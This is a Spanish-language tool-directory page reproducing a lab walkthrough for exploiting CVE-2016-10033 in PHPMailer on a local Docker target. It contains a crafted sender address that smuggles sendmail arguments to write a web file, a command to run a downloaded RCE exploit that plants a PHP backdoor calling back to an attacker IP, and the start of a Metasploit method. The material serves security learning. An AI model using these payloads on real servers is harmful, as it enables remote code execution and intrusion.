Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2016-10033 — Prueba de concepto para el CVE-2016-10033 (PHPMailer) | Kitploit
Herramientas/GitHubGitHub/astrowmist/poc-cve-2016-10033
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Prueba de concepto para el CVE-2016-10033 (PHPMailer)

Ver Repositorio
6hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

POC-CVE-2016-10033

Primero, pongamos en marcha la aplicación vulnerable

Paso 1: Ejecute el siguiente comando para obtener la imagen Docker vulnerable del repositorio de Docker.

Comando: docker pull vulnerables/cve-2016-10033

alt text

Paso 2: Ejecutar la imagen Docker en Docker Desktop, exponiendo el puerto 8080.

alt text

Ahora puede acceder al sitio web vulnerable en localhost:8080 desde el navegador web.

alt text

Método 1: a través de la página web

Paso 1: Complete el formulario con los siguientes datos:

Entrada de nombre: OSEC (puede ser cualquier cadena, esto no afecta al exploit)
Correo electrónico del remitente manipulado: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

El funcionamiento de este correo electrónico del remitente manipulado se explica en detalle en la sección de descripción del vector de ataque. En cuanto a los parámetros específicos, el segundo parámetro -oQ/tmp especifica el directorio de cola y el tercer parámetro, -X/www/pwn.html especifica la ubicación del archivo de registro que se va a escribir. Si no se especifica el directorio de cola, el proceso sendmail intentaría acceder al directorio de cola de correo predeterminado (/var/spool/mqueue-client/) que estaría protegido para evitar el acceso no autorizado y la manipulación, lo cual es una medida de seguridad común. Para evitar este problema de permisos, debe especificar un directorio de cola donde el usuario que ejecuta el script PHP tenga permisos de escritura. Comúnmente se usa un directorio como /tmp porque suele ser escribible por todos los usuarios. Si el cuerpo del correo electrónico contiene código PHP y el archivo de registro especificado se coloca en un directorio accesible desde la web, el atacante puede ejecutar el código PHP accediendo al archivo de registro a través de un navegador web, lo que resulta en una ejecución remota de código.

Entrada de mensaje: Este es solo un archivo HTML de ejemplo que un atacante podría subir. Por supuesto, el atacante podría subir algo mucho peor, como una puerta trasera, que haremos en el siguiente método de explotación.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Paso 2: Después de enviar el formulario, navegue al archivo HTML que acabamos de subir en http://localhost:8080/pwn.html

alt text

Método 2: a través de la línea de comandos (script de exploit)

Requisitos: Este script solo es compatible con Python 2 (no funciona con Python 3).

Paso 1: Descargue el script de exploit desde https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Paso 2: Luego ejecute el script con los siguientes argumentos:

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> especifica la URL objetivo
-cf -> especifica la ubicación del formulario de contacto dentro de la URL especificada en -url. (En nuestro caso es exactamente la misma que -url, así que solo incluimos una barra inclinada)
-ip -> especifica la IP del atacante para que la puerta trasera se conecte de vuelta
-d -> especifica el directorio relativo para subir el archivo PHP de la puerta trasera
--post-action -> El atributo name del campo oculto
--post-msg -> El atributo name del campo de entrada de mensaje

alt text Nota: La razón por la que tenemos que especificar --post-action como “submit” y --post-msg como “message” es porque en la aplicación vulnerable que estamos usando, el atributo name es diferente de los valores predeterminados usados en el script de exploit de Python.

Los atributos name en la aplicación vulnerable:

alt text

Los atributos name predeterminados especificados en el script: alt text

Paso 3: Después de ejecutar el comando, sin embargo, obtuvimos un error que se muestra a continuación

alt text
En la imagen anterior puede ver que el programa está intentando acceder a http://127.0.0.1:8080//www/phpbackdoor9284.php, lo cual es obviamente incorrecto por el //www. Esto no funcionará porque en este sitio web vulnerable /www es la raíz del sitio web, por lo tanto, no se puede ir a http://127.0.0.1:8080/www ya que http://127.0.0.1:8080 ya está en /www.

También en la imagen a continuación podemos ver que el exploit en realidad funcionó porque phpbackdoor9284.php se ha creado exitosamente en el directorio. Por lo tanto, el único problema era cómo eliminar ese //www de la URL.
alt text

Al inspeccionar más a fondo el script de Python, logramos localizar la variable BACKDOOR_URL que especifica la URL al archivo PHP de la puerta trasera. En la variable podemos ver que el directorio de destino que especificamos (args.TARGET_UP_DIR) se está concatenando junto con la variable BACKDOOR_FILE. Para solucionar el problema, necesitamos eliminar eso y la barra inclinada adicional.

Antes:
alt text

Después:
alt text

**Tenga en cuenta que el script en este repositorio ya está modificado y listo para usar

Paso 4: Ahora ejecute el comando anterior nuevamente, y esta vez la puerta trasera debería haberse subido exitosamente al directorio raíz web y debería haberse conectado de vuelta a mi Kali.

alt text

Método 3: Metasploit

Paso 1: Escriba msfconsole en la terminal de Kali para abrir Metasploit. Luego busque los módulos de Metasploit para CVE-2016-10033. Luego elija el módulo seleccionando el índice asociado a él. En la captura de pantalla a continuación elegimos el 1, que apunta a PHPMailer < 5.2.18.

Descargar herramienta